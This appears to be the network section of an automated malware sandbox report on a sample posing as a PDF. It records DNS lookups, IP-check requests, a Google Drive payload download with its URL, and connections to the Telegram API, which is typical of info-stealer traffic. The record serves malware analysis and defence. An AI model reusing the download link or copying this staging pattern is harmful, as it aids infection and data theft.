Dec 16, 2024 09:05:52.192724943 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:52.193563938 CET	80	49858	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:52.193945885 CET	49858	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:52.194066048 CET	49858	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:52.313707113 CET	80	49858	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:53.462896109 CET	80	49858	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:53.465639114 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:53.465686083 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:53.465759993 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:53.466325045 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:53.466341019 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:53.508833885 CET	49858	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:54.834935904 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:54.836661100 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:54.836680889 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:54.836801052 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:54.836807966 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:55.509648085 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:55.509758949 CET	443	49861	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:55.509969950 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:55.510580063 CET	49861	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:55.529897928 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:55.649844885 CET	80	49866	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:55.649967909 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:55.650152922 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:55.770112991 CET	80	49866	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:56.931538105 CET	80	49866	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:56.937427998 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:56.937530994 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:56.938441992 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:56.938687086 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:56.938720942 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:56.974246025 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:58.300648928 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:58.302834988 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:58.302860975 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:58.302937031 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:58.302944899 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:59.009798050 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:59.010135889 CET	443	49872	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:59.010251999 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:59.012065887 CET	49872	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:59.078331947 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:59.078958035 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:59.198379040 CET	80	49866	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:59.198458910 CET	49866	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:59.198690891 CET	80	49878	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:59.198761940 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:59.198889971 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:59.318608999 CET	80	49878	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:00.557987928 CET	80	49878	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:00.559334040 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:00.559379101 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:00.559607029 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:00.559787989 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:00.559798002 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:00.599277020 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:01.921646118 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:01.924176931 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:01.924185038 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:01.924268007 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:01.924278021 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:02.572581053 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:02.572751045 CET	443	49883	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:02.572865009 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:02.573100090 CET	49883	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:02.590357065 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:02.591135979 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:02.710591078 CET	80	49878	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:02.710678101 CET	49878	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:02.710913897 CET	80	49889	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:02.711026907 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:02.711199045 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:02.830842972 CET	80	49889	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:03.982750893 CET	80	49889	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:03.987715960 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:03.987802982 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:03.987893105 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:03.988151073 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:03.988187075 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:04.036623955 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:05.356656075 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:05.358299017 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:05.358330965 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:05.358393908 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:05.358407021 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:06.332748890 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:06.333041906 CET	443	49891	149.154.167.220	192.168.2.4
Dec 16, 2024 09:06:06.333137989 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:09.018450022 CET	49891	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:06:09.020941019 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:09.022054911 CET	49906	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:09.141216993 CET	80	49889	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:09.141294956 CET	49889	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:09.141726017 CET	80	49906	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:09.141840935 CET	49906	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:09.141936064 CET	49906	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:06:09.261701107 CET	80	49906	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:10.473161936 CET	80	49906	193.122.6.168	192.168.2.4
Dec 16, 2024 09:06:10.521009922 CET	49906	80	192.168.2.4	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 09:05:31.004317999 CET	56373	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:05:31.141685009 CET	53	56373	1.1.1.1	192.168.2.4
Dec 16, 2024 09:05:33.791688919 CET	59293	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:05:33.930509090 CET	53	59293	1.1.1.1	192.168.2.4
Dec 16, 2024 09:05:39.480732918 CET	60052	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:05:39.844990969 CET	53	60052	1.1.1.1	192.168.2.4
Dec 16, 2024 09:05:42.007061005 CET	58972	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:05:42.147551060 CET	53	58972	1.1.1.1	192.168.2.4
Dec 16, 2024 09:05:49.665357113 CET	53141	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:05:49.802562952 CET	53	53141	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 09:05:31.004317999 CET	192.168.2.4	1.1.1.1	0x673c	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:33.791688919 CET	192.168.2.4	1.1.1.1	0xf916	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.480732918 CET	192.168.2.4	1.1.1.1	0x493c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:42.007061005 CET	192.168.2.4	1.1.1.1	0x480a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:49.665357113 CET	192.168.2.4	1.1.1.1	0xab3	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 09:05:31.141685009 CET	1.1.1.1	192.168.2.4	0x673c	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:33.930509090 CET	1.1.1.1	192.168.2.4	0xf916	No error (0)	drive.usercontent.google.com		142.250.181.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:39.844990969 CET	1.1.1.1	192.168.2.4	0x493c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:42.147551060 CET	1.1.1.1	192.168.2.4	0x480a	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:42.147551060 CET	1.1.1.1	192.168.2.4	0x480a	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:05:49.802562952 CET	1.1.1.1	192.168.2.4	0xab3	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49826	193.122.6.168	80	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:05:39.969947100 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 09:05:41.243218899 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 58b624d2afa433388809cedcb94f2d57 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 09:05:41.247028112 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 09:05:41.675928116 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1bfe8623cf824adacba716b221ec8894 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 09:05:49.255486965 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 09:05:49.660937071 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 910715d4ca2e9cdc8974212cd4e90859 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49858	193.122.6.168	80	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:05:52.194066048 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 09:05:53.462896109 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 84cdb87040eafcd7863705d4441c7695 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49866	193.122.6.168	80	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:05:55.650152922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 09:05:56.931538105 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 528548c883e4a6b6a33fd10ca4c345de Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49878	193.122.6.168	80	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:05:59.198889971 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 09:06:00.557987928 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:06:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2e70703aad696c6bded3242b1faab0d8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49889	193.122.6.168	80	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:06:02.711199045 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 09:06:03.982750893 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:06:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2ade4db7a499d15f4b0a1ac39c615260 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49906	193.122.6.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:06:09.141936064 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 09:06:10.473161936 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:06:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c34c2afd7683f9a9b2087734b0f18373 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49804	172.217.19.174	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:32 UTC	216	OUT	GET /uc?export=download&id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-16 08:05:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 16 Dec 2024 08:05:33 GMT Location: https://drive.usercontent.google.com/download?id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-vdb5r_RsT_sxRF8feRaKSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49812	142.250.181.1	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:35 UTC	258	OUT	GET /download?id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-16 08:05:38 UTC	4932	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC4igQs9Xg5spUEFNA70nyuDpVKmGW1xWxsIEcFwaAKEhC_xbqPOfD-iwomMz1HRsJEs Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="mUOgRrhkkIe3.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 16 Dec 2024 03:27:48 GMT Date: Mon, 16 Dec 2024 08:05:38 GMT Expires: Mon, 16 Dec 2024 08:05:38 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=A4aBPw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 08:05:38 UTC	4932	IN	Data Raw: f6 30 b1 26 18 ed ef 78 68 26 6c 50 ae da 03 a8 80 31 12 47 a5 c4 e7 92 ce 89 16 20 4b b8 41 57 0c 9d 27 eb 53 20 8d cc 92 a8 27 2d fa 60 15 1a d5 18 9f fd e4 c9 a4 a9 0d 77 fa 96 ff 1d 69 b4 01 af dc 40 66 fb da b2 d9 cd 9d 4f b9 e7 1d ed c8 1f 36 1a ec 79 44 98 07 b0 10 77 f3 04 0e 77 4b 7d b5 8b 57 4b f0 ce 9b 7f e9 10 05 b8 60 84 f4 c7 f7 de 1b 77 80 e0 c5 c2 c9 c7 4f 47 cd aa 5b 0a bf ad f1 df 4d e4 44 e8 4e 29 d0 c9 d1 7a 6e d7 4e da a6 de e9 00 e1 18 90 48 50 5e 57 27 57 6e da c2 69 5e 4c 40 56 60 9d fb 2d d9 06 fc 35 cd ab a4 03 35 12 c1 64 7e a8 8f 41 42 aa 9c 64 e1 ac 8f e0 ea 20 34 49 af b1 3d 5f da 4b 57 e9 d7 4d 17 a5 ac 1d 93 b5 3a 82 ce 60 36 cc 9f 39 73 9b 1a 10 18 95 0f c2 ab 54 0f 34 01 7d 5a f7 94 97 00 71 25 46 e7 6b c0 de 62 db 87 43 Data Ascii: 0&xh&lP1G KAW'S '-`wi@fO6yDwwK}WK`wOG[MDN)znNHP^W'Wni^L@V`-55d~ABd 4I=_KWM:`69sT4}Zq%FkbC
